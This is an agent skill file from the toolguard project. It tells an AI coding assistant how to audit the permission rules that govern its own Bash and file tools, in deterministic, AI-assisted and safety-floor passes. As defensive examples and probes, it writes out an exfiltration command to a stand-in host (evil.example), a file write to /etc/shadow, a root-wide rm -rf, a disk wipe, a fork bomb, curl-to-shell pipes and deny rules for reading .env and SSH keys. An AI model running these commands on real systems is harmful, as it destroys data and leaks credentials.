Imported from arnonmoscona/toolguard (
skills/toolguard-security-audit/SKILL.md). Install upstream withnpx skills add arnonmoscona/toolguard --skill toolguard-security-audit. Copyright stays with the author.
Toolguard Security Audit
Flag security risks in the active toolguard permission configuration. This skill runs in up to three passes:
- Deterministic pass (always). A tested Python analyzer (
toolguard-audit) flags known risk patterns. High trust, mechanical, repeatable, zero model tokens. This is the authoritative layer. - AI-assisted pass (opt-in). After the deterministic pass, you offer the user a deeper, judgement-based assessment that you produce by reasoning about the config. Lower and variable trust; each finding carries a confidence level. Only run it if the user agrees.
- Safety floor and cross-project sweep (opt-in). Probe the config against a
baseline of catastrophic operations that must be denied, and optionally sweep
several projects at once. Uses the read-only
toolguard --evalprobe; flag-only.
Keep the passes in separate, clearly labeled report sections so the user can always tell mechanical certainty from model judgement.
Hard constraints
- Read-only. This skill never edits, sorts, or migrates the configuration. It
reports and proposes. Applying a fix is a separate, explicit user decision (and,
for now, a manual edit). Do not modify any
toolguard_hook.toml,settings.json, orsettings.local.jsonas part of this skill. When probing the safety floor (Pass 3), this includes never touching the target project: usetoolguard --evalonly -- never pipe a synthetic event to the baretoolguardhook, which logs and can auto-migrate (a write). - Never mix the two passes. Deterministic findings are owned by the tool: do not invent them, drop them, or re-rank them. Your own judgement-based findings go ONLY in the AI-assisted section, never presented as tool output.
- Deterministic severity is final. If you disagree with a tool severity, say so as commentary in the AI section; leave the deterministic ranking intact.
- The AI pass is opt-in. Do not run it without the user's go-ahead.
Pass 1 -- Deterministic findings
Run it
Run from the project whose configuration you want to audit (the analyzer discovers the full hierarchy upward from that directory, exactly as the live hook does).
Default -- always use the installed console script. toolguard-audit is put on
the user's PATH by uv tool install toolguard and runs inside toolguard's OWN
virtualenv, so the audited project needs nothing on its Python path. Use it
verbatim: do NOT prefix it with uv run and do NOT rewrite it as python -m ....
toolguard-audit --format json
- If
toolguard-auditis not found (and you are not a toolguard maintainer -- see Development mode) -- the install is missing, too old, or partial. Tell the user and suggestuv tool install toolguard/uv tool upgrade toolguard. Do not improvise another invocation form.
Development mode (toolguard maintainers only -- the ONLY exception)
One situation departs from the console-script default: maintaining the toolguard
project itself (its source tree, on the maintainer's machine), where you run the
in-repo module to exercise the working branch. This never applies to a normal
audited project. Enter dev mode when EITHER the skill was invoked with the
--dev argument (authoritative; use it when developing/testing toolguard) or
the current project IS the toolguard source repo (its pyproject.toml declares
name = "toolguard" and toolguard/tools/security_audit.py exists -- the fallback if
--dev was forgotten). In dev mode, and only then, substitute:
| console script (default) | dev-mode form |
|---|---|
toolguard-audit ... |
uv run python -m toolguard.tools.security_audit ... |
This table is the sole place the uv run python -m ... form is defined; everywhere
else this skill speaks only toolguard-audit.
Prerequisite under toolguard governance (self-permissioning). When toolguard governs the current project (especially in takeover mode), running
toolguard-auditis itself aBashcommand toolguard must permit -- otherwise this skill's own call is denied. Toolguard never self-grants; the fix is an explicit, consented rule at the scope the skill is installed. The concrete rule (bake it in -- a denied call cannot run a tool to compute it): addBash(toolguard-audit:*)to allow (read-only, so a standing allow is fine). If you hit a denial oftoolguard-audit, tell the user that exact rule and retry once added. The mutatingtoolguard-maintainis handled by the maintenance skill and belongs in ask, not allow (see its Self-permissioning section). Hook entry points (toolguard,toolguard-session-start) run under the hook machinery and never need an allow rule.
Useful options:
--dir DIR-- audit a different project directory (default: current directory).--format json|markdown|text-- use json when you are going to interpret and re-present the findings (it is the structured contract); usemarkdown/textonly when the user just wants the raw report.--strict-- exit code becomes the highest severity (1=LOW .. 4=CRITICAL), 0 when clean. Useful for scripted/CI gating; not needed for interactive use.--with-context-- (json only) add the consolidated configcontextblock used by Pass 2 below. Not needed for the deterministic pass itself.
Parse the JSON. Its shape:
{
"takeover_active": bool,
"highest_severity": int, // 0 when no findings
"counts": { "CRITICAL": n, "HIGH": n, ... }, // only labels that occur
"findings": [
{
"source": "rule" | "takeover", // rule = dangerous allow pattern;
// takeover = takeover-mode invariant
"finding_id": str, // e.g. "arbitrary-exec-allow", "hook-not-registered"
"severity_label": str, // CRITICAL | HIGH | MEDIUM | LOW
"severity_value": int, // 4=CRITICAL .. 1=LOW (numeric form of the label)
"tool": str?, // governed tool, or null for config-wide findings
"locus": str?, // which config level/source produced it
"pattern": str?, // the flagged rule (rule findings only)
"summary": str, // what is wrong
"impact": str, // extra impact text (takeover findings)
"remediation": str, // suggested fix (HUMAN text; may be more surgical
// than the structured proposal below)
"remediation_proposal": obj?, // STRUCTURED, machine-appliable fix or null.
// Present when the fix is mechanical (delete a
// dangerous allow, anchor an unanchored regex).
// Shape = an EditProposal:
// { action: remove|replace|narrow|move,
// tool, rationale, origin: "audit:<finding_id>",
// edits: [ { tool, list_type, provenance,
// removed_patterns, added_patterns } ] }
// The maintenance skill ingests this directly (no
// NLP) to build a reviewable edit; it is a
// CONSERVATIVE tightening to review as-if-enacted,
// never auto-applied. null => text-only judgement fix.
"takeover_active": bool, // whether takeover was ON when this finding fired
"acknowledged": bool, // true when the flagged rule carries a #NOSECURITY
// comment: the user has BLESSED this risk here.
// Still reported (never hidden), but de-prioritized
// (sorted after every un-acknowledged finding).
"acknowledgement": str? // the #NOSECURITY reason ("" for a bare tag), or null
}, ...
]
}
Acknowledged (#NOSECURITY) findings
A rule annotated with a #NOSECURITY[: reason] comment is acknowledged, not
hidden: it still appears in the report, flagged acknowledged with its reason,
and sorted last. Treat it as an intentional, project-local risk the user already
accepted -- do NOT re-raise it as a fresh headline or propose removing it. Do
still surface it (transparency), and if a #NOSECURITY rule genuinely became far
more dangerous than its reason covers, say so explicitly rather than silently
trusting the tag. When context is present, each layer's comments[] carries the
recovered leading/inline text and a nosecurity_reason per commented rule.
Structured remediation = the agent audience. For a human, present the
remediationtext. For a driving skill (maintenance),remediation_proposalis the agent-oriented sidecar: a typedEditProposalthe skill can enact viaedit_proposal.apply_editsand re-audit as-if-enacted. There is no separate "agent mode" -- the same--format jsonserves both, humans reading the text and skills reading the proposal.
Present it
Use the canonical layout (this is also what Pass 2 must match). Present the
deterministic findings in the renderer's own structure -- either show the
toolguard-audit --format markdown output as-is, or reproduce that exact shape:
# Toolguard Security Audit
**Takeover mode: ACTIVE**
CRITICAL: n HIGH: n MEDIUM: n LOW: n
## CRITICAL
- **[finding_id]** source=rule tool=Bash
- pattern: `...` (omit if null)
- locus: ... (omit if null)
- summary: ...
- impact: ... (omit if empty)
- remediation: ...
Do not invent your own heading style (no ### CRITICAL . takeover . ...
constructions). Group ## SEVERITY highest-first; within a severity keep rule and
takeover findings together. Add your interpretation/caveats as prose below the
finding block -- never by restructuring the items. Explain in the user's config terms,
but keep the layout above intact so Pass 1 and Pass 2 read as one report.
-
Be honest about takeover context. Some findings are CRITICAL only because takeover mode is active (a blanket allow outside takeover is a full governance bypass; the same rule is benign when toolguard is not the gatekeeper). Conversely, if takeover is active but the hook is not fully registered, the whole governance model is silently off -- surface that loudly.
-
Propose, do not apply. Offer each concrete remediation, but make the edit the user's call. The rule-maintenance tooling (sorting/consolidation/migration) is the right vehicle for applying fixes, not this audit skill.
If highest_severity is 0, say the deterministic pass found nothing -- then still
offer Pass 2 (the AI pass can surface risks the detectors do not cover).
Pass 2 -- AI-assisted assessment (opt-in)
After presenting Pass 1, offer the user the deeper assessment. Make the trade-off explicit, e.g.: "I can also do an AI-assisted assessment -- deeper and able to catch semantic or combinational risks the deterministic detectors miss, but it is judgement-based, not deterministic, may include false positives, and costs model tokens. Want me to run it?" Proceed only if they agree.
Inputs -- analyze the same consolidated material the deterministic pass did
Do not eyeball config files by hand or guess at the hierarchy -- get the exact same consolidated material the deterministic analyzers used, from one call:
toolguard-audit --format json --with-context
That JSON is the Pass-1 payload plus an additive top-level context block:
"context": {
"summary": { "sources": [...], // every discovered config file, specific-first
"governed_tools": [...], // tools toolguard actually governs
"layer_count": int, ... },
"takeover": {
"enabled": bool, // the DETERMINISTIC takeover verdict -- trust it
"no_match_fallback": "ask" | "deny" | "allow_with_warning" | "allow", // RAW, unnormalized value -- "warn_deny" = deprecated alias for allow_with_warning, "allow_with_no_warnings" = alias for allow
"ignored_allow_patterns": [...], // native blanket allows takeover suppresses
"additional_ignored_patterns": [...],
"conflict": str | null, // cross-level takeover disagreement, if any
"neutralized_allow_patterns": [...] // THE IGNORE-LIST: allow bodies neutralized
// by takeover -- do NOT flag these as risks
},
"tools": [ // the FULL rule hierarchy, per tool
{ "tool": "Bash", "layers": [
{ "locus": str, // which config file/level
"is_native": bool, // true = Claude-native settings; false = toolguard
"allow": [...], "deny": [...], "ask": [...], // wrapper-free pattern bodies
"comments": [ // per-rule comments recovered from the file
{ "list_type": str, "pattern": str, // (toml layers only; #NOSECURITY
"leading": str, "inline": str, // lives here). Empty for json layers
"nosecurity_reason": str? } ] } // and uncommented rules.
]} ],
"proposed_migrations": [...] // OPTIONAL -- present only when the audit was run
// with --migrations; see "Proposed migrations" below
"proposed_edits": { // OPTIONAL -- present only with --edits. The
"edits": [...], // whole audit above is ALREADY as-if-enacted;
"delta": { "introduced": [...], // see "Proposed edits" below.
"resolved": [...] } }
}
Ground your analysis in this block:
- Analyze the whole hierarchy AND both rule systems. Every layer in
tools[].layersis in scope -- walk all of them, most-specific first. Reason about both the toolguard rules (is_native=false) and the Claude-native permission rules (is_native=true); the native rules are collected here the same deterministic way, and a risk can live in either system or in how a more-specific layer overrides a broader one. - Consume the takeover verdict; never re-derive it.
takeover.enabledis the deterministic answer for whether toolguard is the real gatekeeper -- take it as given. When it istrue, toolguard (not Claude) enforces permissions, so over-broad native allows are expected setup, not risks; the most dangerous failure is the hook not actually being registered (Pass 1 already checks that). When it isfalse, native allows are live and a blanket native allow is a real exposure. - Honor the ignore-list. Treat every pattern in
takeover.neutralized_allow_patternsas already-handled: do not raise findings about those native blanket allows -- the deterministic pass has determined takeover neutralizes them. Spend your judgement on what the detectors cannot see.
What to analyze
Reason about the actual config (cite real patterns and loci -- no hypotheticals). Look for what the deterministic detectors cannot, for example:
- Combinational escapes -- individually-benign allow rules that together enable a bypass (e.g. an allowed file write into a directory plus an allowed command that executes from it).
- Over-broad matches -- globs/regexes whose real-world match set is far wider or more dangerous than it looks; deny rules that are trivially side-stepped by an equivalent command spelling.
- A trailing
:*that spans arguments, on a rule naming a host, path, or URL prefix. A DEFAULT pattern's trailing:*crosses spaces, not just characters within one token, matching native's own semantics for that shorthand (seedocs/native-pattern-reference.mdrow 18/19 -- a hand-written trailing*diverges on a bare no-argument command, row 18). A rule likeBash(curl http://localhost:*)therefore does not stop at the host: it also matches anything space-separated after it on the same command line, including an unrelated second URL (curl http://localhost http://evil.example/steal) or a write flag (curl http://localhost -o /etc/shadow) -- but NOT a URL continued without a space (curl http://localhost/healthdoes not match; the boundary requires a space or end-of-string). This is faithful, not a bug -- do not recommend narrowing the matcher -- but it is worth flagging to the user, especially on ahard_deny.allowcarve-out, where the exemption is silent and the whole point was to narrow, not to re-open, the surrounding deny. The fix is not a tighter regex -- it's to stop using[hard_deny]for a rule that needs a carve-out at all.hard_denymeans no exceptions; a rule with one belongs at the ordinary deny/allow level, where a more-specific allow can legitimately override it. See fix #5 below. - Less-obvious execution / exfiltration -- allows that grant code execution or
network egress via non-obvious binaries or subcommands (make, cmake, npm/yarn
scripts, git hooks/aliases, package installers,
ssh,curl|sh, etc.). - Missing hardening -- deny patterns a hardened config should have given the governed tools and the takeover state, but does not.
- Takeover reasoning beyond the mechanical invariants the tool already checks.
- Incomplete user-level toolguard config (alert strongly). If there are toolguard
rules at the user level but not the full user-level setup -- the hook registered
globally AND the base config (
takeover_mode,governed_tools) -- those rules are enforced only in projects that already run toolguard and silently do nothing in toolguard-less projects. That is a false sense of security, worst for safety denies (a user-leveldeny .envthat never runs in a project without toolguard). Flag it as a HIGH-or-above finding; note the exact gap (rules present, setup/base missing). - No user-level toolguard baseline (MEDIUM). The converse gap: a project that DOES run toolguard (takeover on) while there is NO user-level toolguard config at all. Governance is then project-local only -- other projects without their own toolguard config are governed by Claude-native rules alone, and this project's safety denies protect nothing beyond it. Flag at MEDIUM (a coverage gap, not an active hole in this project) and recommend standing up a user-level baseline. Both this and the incomplete-config case above are strong candidates for a future deterministic detector; until then, raise them here.
Do not restate deterministic findings. You may cross-reference one via a
relates-to line. Anchor every finding to something concrete in the config.
Remediations -- offer a concrete, usable fix
For every finding, propose a remediation the user can paste in, not just a description of the problem:
- Exhaustive, not illustrative. Cover EVERY case you flagged. "here is a fix for
cat, do the same for the others" is not acceptable -- spell them all out. - Simple over clever. Prefer an anchored, readable rule a developer can edit over
a maximally-precise one. Anchor regexes (
^) and keep them legible; do NOT emit giant regexes. - A remediation may span multiple rules AND multiple sections. It is often better
to keep a broad allow and ADD targeted
denyrules than to contort one allow. Deny the dangerous FILE/operation by token (one deny covers every reader) rather than enumerating tools. - Use the structurally-correct layer. Read/Edit/Write of secret files is best
denied at the file-tool layer (real path-glob semantics); but note Bash readers
(
cat .env) bypass that, so a Bash deny is still needed. - Arbitrary execution -> recommend DELETION (or replacement by specific allows), never a rewrite that keeps the escape hatch.
TOML note: emit every [regex] pattern that contains a backslash as a single-quoted
TOML literal string, e.g. 'Bash([regex]\bfind\b)'. A double-quoted string containing an
escape TOML doesn't recognise (\s, \d, \., ...) fails to parse -- loud and safe. A
double-quoted string where every escape happens to be TOML-valid (\b, \t, \n, ...) is
worse: it parses cleanly and is silently reinterpreted (\b becomes a literal backspace,
not a regex word boundary), so the rule loads and matches nothing. Single-quoting sidesteps
the whole class of mistake.
Few-shot examples (style, not a fixed catalogue):
-
Inline replacement -- complete an incomplete guard:
- finding:
'Bash([regex]\bfind\b(?!.*\s-(exec|execdir|delete)\b))'misses the write trapdoors-fprintf/-fprint/-fls/-ok/-okdir. - fix (replace the one rule):
'Bash([regex]\bfind\b(?!.*\s-(exec|execdir|ok|okdir|delete|fprintf|fprint|fls)\b))'
- finding:
-
Rule combination across sections -- close a secret-read gap without narrowing normal use (KEEP the broad allows; ADD denies; deny by file token, not per reader):
- finding:
.env/.sshreads slip through un-denied tools (grep .env,tail ~/.ssh/id_rsa). - fix (add these denies):
'Bash([regex]\.env\b)'-- any Bash command naming a .env file (all readers)'Bash([regex]\.ssh/)'-- any Bash command touching a .ssh path (no leading slash:\.ssh/catches relative AND absolute)Read([glob]**/.env)Read([glob]**/.ssh/**)-- the Read/Edit/Write tool path
- finding:
-
Delete outright -- arbitrary execution:
- finding:
Bash(uv run python:*)is an arbitrary-exec escape hatch. - fix: REMOVE it. If specific scripts are needed, allow them explicitly, e.g.
Bash(uv run python ./bin/known_script.py).
- finding:
-
Anchor an unanchored allow:
- finding:
Bash([regex]rm /home/.../memory/.*)is unanchored (re.search) -- it matches the substring anywhere in a command. - fix:
Bash([regex]^rm /home/.../memory/[^;&|]*$).
- finding:
-
Stop hard-denying a rule that needs a carve-out; move it to the ordinary level:
- finding:
hard_deny.deny = ["Bash(curl:*)"]/hard_deny.allow = ["Bash(curl http://localhost:*)"]-- the trailing:*spans arguments, so the carve-out exempts anything appended after the localhost URL too, including a second URL to an arbitrary host.hard_denycannot be overridden by a more-specific allow, so a carve-out that turns out too broad -- or a replacement pattern that turns out too narrow to be usable -- is an unoverridable problem either way. - fix:
hard_denymeans no exceptions; a rule that needs one belongs at the ordinary deny/allow level instead, where a more-specific allow legitimately overrides it and a too-narrow allow costs one more line, not an unoverridable hole. But check first whether a deny-with-exception can work for this tool at all. It works only when either the SAFE set or the DANGEROUS set is closed and enumerable. Forcurl, NEITHER is:-owrites a file,-Lredirects anywhere, and a second bare URL exfiltrates, all in the same syntax as ordinary use -- so a pattern loose enough for real work admits the dangerous forms. Recommendaskforcurl, and note that Claude's built-in WebFetch covers almost every legitimate use. Where the dangerous set IS enumerable, the recipe applies --findis the worked example:deny = ['Bash(find:*)']at a shared level paired withallow = ['Bash([regex]^find\b(?!.*\s-(exec|execdir|ok|okdir|delete|fprintf|fprint|fls)\b))']at a more specific one. Both TOML literal strings; double-quoted,\bis a valid TOML escape for backspace and the rule silently matches nothing. Verified 7/7 ordinary invocations allowed and 6/6 destructive ones excluded. See agent-guides.md.
- finding:
Proposed edits (ONLY when context.proposed_edits is present -- otherwise skip entirely)
This block appears when the audit was invoked with --edits (typically the
maintenance skill handing you the concrete changes it wants to make -- e.g. its
consolidations, or your own remediation_proposals it decided to apply). Unlike
--migrations, these edits were actually applied in memory, so the top-level
findings you already analysed reflect the AS-IF-ENACTED config (the whole
hierarchy, all sections). Your job is to judge whether enacting the edits is safe.
context.proposed_edits carries:
edits-- theEditProposals that were applied (each anaction,tool,rationale,origin, and atomicedits[]withlist_type/provenance/removed_patterns/added_patterns). An edit may span several sections (allow + deny) and layers.delta--introducedandresolved: the findings that appear ONLY after the edits, and ONLY before them.
How to reason:
delta.introducedis the headline risk. Any finding the edits CREATE is a reason to push back -- call each one out with its severity and say which edit caused it. A change that resolves one MEDIUM but introduces a CRITICAL is a bad trade; say so plainly.delta.resolvedis the benefit. Acknowledge what the edits fix.- Look past the delta for cross-section / cross-layer interactions. Replacing
one rule with a set (e.g. narrow an allow AND add a deny) can change how a
DIFFERENT rule for the same command family resolves, even when no finding id
changed. Walk the as-if-enacted
tools[].layersfor the edited command family and confirm the effective verdict is what the edit intends (deny-wins; broad-ask-collapses; else more-specific-wins). - These findings are REAL for the proposed state, not hypothetical -- be concrete, cite the actual patterns/loci in the as-if-enacted config.
- Give a clear bottom line: safe to enact, enact-with-changes (name them), or do not enact (why).
Proposed migrations (ONLY when context.proposed_migrations is present -- otherwise skip entirely)
If proposed_migrations is absent (the normal case for a plain permission
review), SKIP this whole section. You NEVER propose or invent migrations yourself
-- you only risk-assess moves explicitly handed to you via --migrations (typically
when the maintenance skill invokes this audit). When the array IS present, assess the
risk of each migration as if it were enacted in full, and fold those findings
into this same AI section.
Each entry carries: tool, list_type, pattern, from_locus/to_locus,
from_specificity/to_specificity (lower = more specific), decision_neutral,
broadened_count/tightened_count, and a scope_note.
decision_neutralis NOT a safety proof. It only means the move changed no decision over the harvested corpus of this context. It says nothing about developer intent or about contexts the corpus never exercised. A migration can bedecision_neutral: trueand still be risky -- this is exactly where your judgement is needed.- Focus on rules for the SAME command / command family across BOTH sections and
layers. A migration that relocates an allow (or deny) can change how it composes
with a deny/ask/allow for a related command that stays put. Look especially for:
- Allow broadened past a deny. Promoting a broad allow (e.g.
git:*) up to a user layer while a more-specific deny the developer relies on (e.g. a reservedgit push) stays at the project layer -- or vice versa -- may let the allow win in contexts where the deny no longer applies. This is NOT a read/write boundary; it is a deliberate carve-out that the split can silently defeat. - Orphaned / split guards. A deny and the allow it was carving an exception out of becoming separated across layers, so the pair no longer resolves as the author intended.
- Cross-context broadening. A promotion applies the rule to every project the broader layer governs; the corpus cannot see those other projects. Flag the breadth the user is signing up for.
- Allow broadened past a deny. Promoting a broad allow (e.g.
- You cannot fully prove these; the developer decides. Raise each as a finding
with an honest severity and confidence, name the specific interacting rules and
loci, state what intent the move might defeat, and explicitly leave the final
call to the developer. Prefer flagging a plausible intent-defeating split even at
MEDIUM/LOWconfidence over staying silent.
Severity and confidence
- Severity: CRITICAL / HIGH / MEDIUM / LOW -- same scale as Pass 1.
- Confidence (ordinal, your own honest calibration of whether this is a true
risk in this config):
HIGH-- concrete and demonstrable; you can point to the exact mechanism.MEDIUM-- plausible; depends on usage or context you cannot fully verify.LOW-- speculative; worth a glance but easily a false positive.
Do not emit numeric confidence scores -- ordinal only (LLM numeric confidence is not well-calibrated and implies false precision).
Present it -- separate section, same style
Render the AI section in the exact same layout as the Pass-1 canonical format
above (same # title, the CRITICAL: n HIGH: n MEDIUM: n LOW: n counts line, the
## SEVERITY groups, and the - **[id]** source=... tool=... items with - field:
sub-bullets). The ONLY differences from Pass 1 are: source=ai, an added
confidence= field on the item line, an optional relates-to: sub-bullet, and the
disclaimer header. If you showed Pass 1 in text format, use the text template instead
so both match. The two sections must look like one continuous report -- do not switch
heading styles or field formatting between them. Sort by severity descending, then
confidence descending, then by slug.
Markdown template:
# AI-Assisted Security Assessment
> Judgement-based, NOT deterministic. These are model-reasoned leads to verify,
> each with a confidence level -- they are not as authoritative as the
> deterministic findings above and may include false positives.
CRITICAL: n HIGH: n MEDIUM: n LOW: n
## CRITICAL
- **[short-kebab-slug]** source=ai confidence=HIGH tool=Bash
- pattern: `...` (if a specific rule is implicated)
- locus: ... (config level/file, if known)
- relates-to: arbitrary-exec-allow (optional; a Pass-1 finding_id)
- summary: ...
- impact: ... (optional)
- remediation: ...
Text template:
AI-Assisted Security Assessment
===============================
(Judgement-based, NOT deterministic -- verify before acting. May include false
positives. Confidence is ordinal.)
CRITICAL: n HIGH: n MEDIUM: n LOW: n
[CRITICAL]
----------
[short-kebab-slug] source=ai confidence=HIGH tool=Bash
pattern : ...
locus : ...
relates-to : ...
summary : ...
impact : ...
remediation : ...
Omit optional lines (pattern, locus, relates-to, impact) when they do not
apply, exactly as the deterministic renderer omits empty fields. If the AI pass
finds nothing, say so plainly under the section header rather than fabricating
filler.
Pass 3 -- Safety floor and cross-project sweep
Pass 1 is reactive: it flags dangerous allows that are present. The safety
floor is the proactive mirror -- it asserts that a baseline of catastrophic
operations is denied, and flags any that are not. A config can be clean in
Pass 1 (no dangerous allow) yet still breach the floor (e.g. a broad Bash(*) allow
that quietly permits rm -rf /). This pass catches that. It is read-only and, like
the rest of the skill, flag-only: suggest a rule, never add it.
How the floor is checked -- the --eval probe
For each floor item, evaluate its canonical dangerous command against the target project's config through the real resolver, using the read-only evaluation mode:
printf '{"tool_name":"Bash","tool_input":{"command":"rm -rf /"},"cwd":"<PROJECT_DIR>","hook_event_name":"PreToolUse"}' \
| toolguard --eval
--eval loads the target project's hierarchy (project-rooted, ignoring any
CLAUDE_SETTINGS_PATH) and prints a permissionDecision on stdout -- without
logging, divergence checks, or auto-migration. It never mutates the project or
writes to its logs. Always use toolguard --eval for probing; never pipe a
synthetic event to the bare toolguard hook -- the bare hook logs the command and
can trigger auto-migration (a config write) on the target project.
Read the verdict from hookSpecificOutput.permissionDecision and classify:
deny-> the floor item is satisfied (protected).ask-> BREACH. A catastrophic op that merely prompts is below the floor; it should be denied outright.allow-> BREACH. Either a rule permits it, or the tool is not governed at all (equally unprotected).
So the rule is simply: verdict != deny => BREACH.
For file-tool floor items, probe with the matching tool and file_path:
printf '{"tool_name":"Read","tool_input":{"file_path":"/anything/.env"},"cwd":"<PROJECT_DIR>","hook_event_name":"PreToolUse"}' \
| toolguard --eval
v1 floor items
Curated starting set (deliberately incomplete -- extend this table over time as real usage surfaces gaps; adding a row here needs no code change). Probe each command; on a breach, report the item and offer the suggested rule.
| id | probe (tool: command / file_path) | suggested rule |
|---|---|---|
recursive-root-delete |
Bash: rm -rf /, rm -rf ~, rm -rf /* |
[hard_deny] Bash = ["rm -rf /:*", "rm -rf ~:*", "rm -rf /*"] |
disk-wipe |
Bash: dd of=/dev/sda, mkfs.ext4 /dev/sda |
[hard_deny] Bash = ["dd of=/dev/*", "mkfs*"] |
fork-bomb |
Bash: :(){ :|:& };: |
[hard_deny] Bash = [":()*"] |
pipe-to-shell |
Bash: curl http://x | sh, wget -qO- http://x | bash |
deny piping remote content to a shell |
perms-on-root |
Bash: chmod -R 777 /, chown -R x / |
[hard_deny] Bash = ["chmod -R * /:*", "chown -R * /:*"] |
secret-exfil |
Read/Write/Edit: /x/.env, ~/.ssh/id_rsa |
deny reading/writing .env and private keys |
self-weakening |
Write/Edit: <project>/.claude/toolguard_hook.toml |
deny edits that remove the hook or weaken toolguard config |
Treat the suggested rules as sketches for the user to review and place at the right
layer -- not as literal patterns to paste. Catastrophic items belong in
[hard_deny] (unoverridable); do not auto-add any of them.
Cross-project sweep
To audit several projects, run this pass (and, if asked, Pass 1) once per project
directory, then consolidate. Each --eval probe is independent and read-only, so
projects can be swept in any order. Present the result as a matrix -- projects (rows)
x floor items (columns), each cell ok / BREACH -- plus a short per-project note.
A project that governs fewer tools (e.g. does not govern Read/Write/Edit) will
breach the file-tool items; call that out as "unprotected tool", not a rule bug.
The floor also applies to a proposed state: when reviewing a migration or edit
(context.proposed_migrations / context.proposed_edits), re-probe against the
as-if-enacted config to flag any change that would drop the project below the floor.
When to use
- On demand: "audit my toolguard security", "are any of my allow rules dangerous?", "is takeover mode set up safely?", "review my permission config for risks".
- Cross-project or safety-floor checks: "does every project deny
rm -rf /?", "sweep my projects for missing baseline protections", "run the safety floor". - As a start-of-session safety check when working in a security-sensitive repo or right after editing permission rules.
Notes
- The deterministic analyzer is offline -- it reads only local config files, makes no network calls, and costs no model tokens to run.
- A clean deterministic report means no known risk patterns matched; it is not a proof of safety. That is exactly what the opt-in AI pass is for.
- The deterministic and AI passes have deliberately different trust levels. Keep them visually and verbally distinct so the user never confuses a mechanical certainty with a model hunch.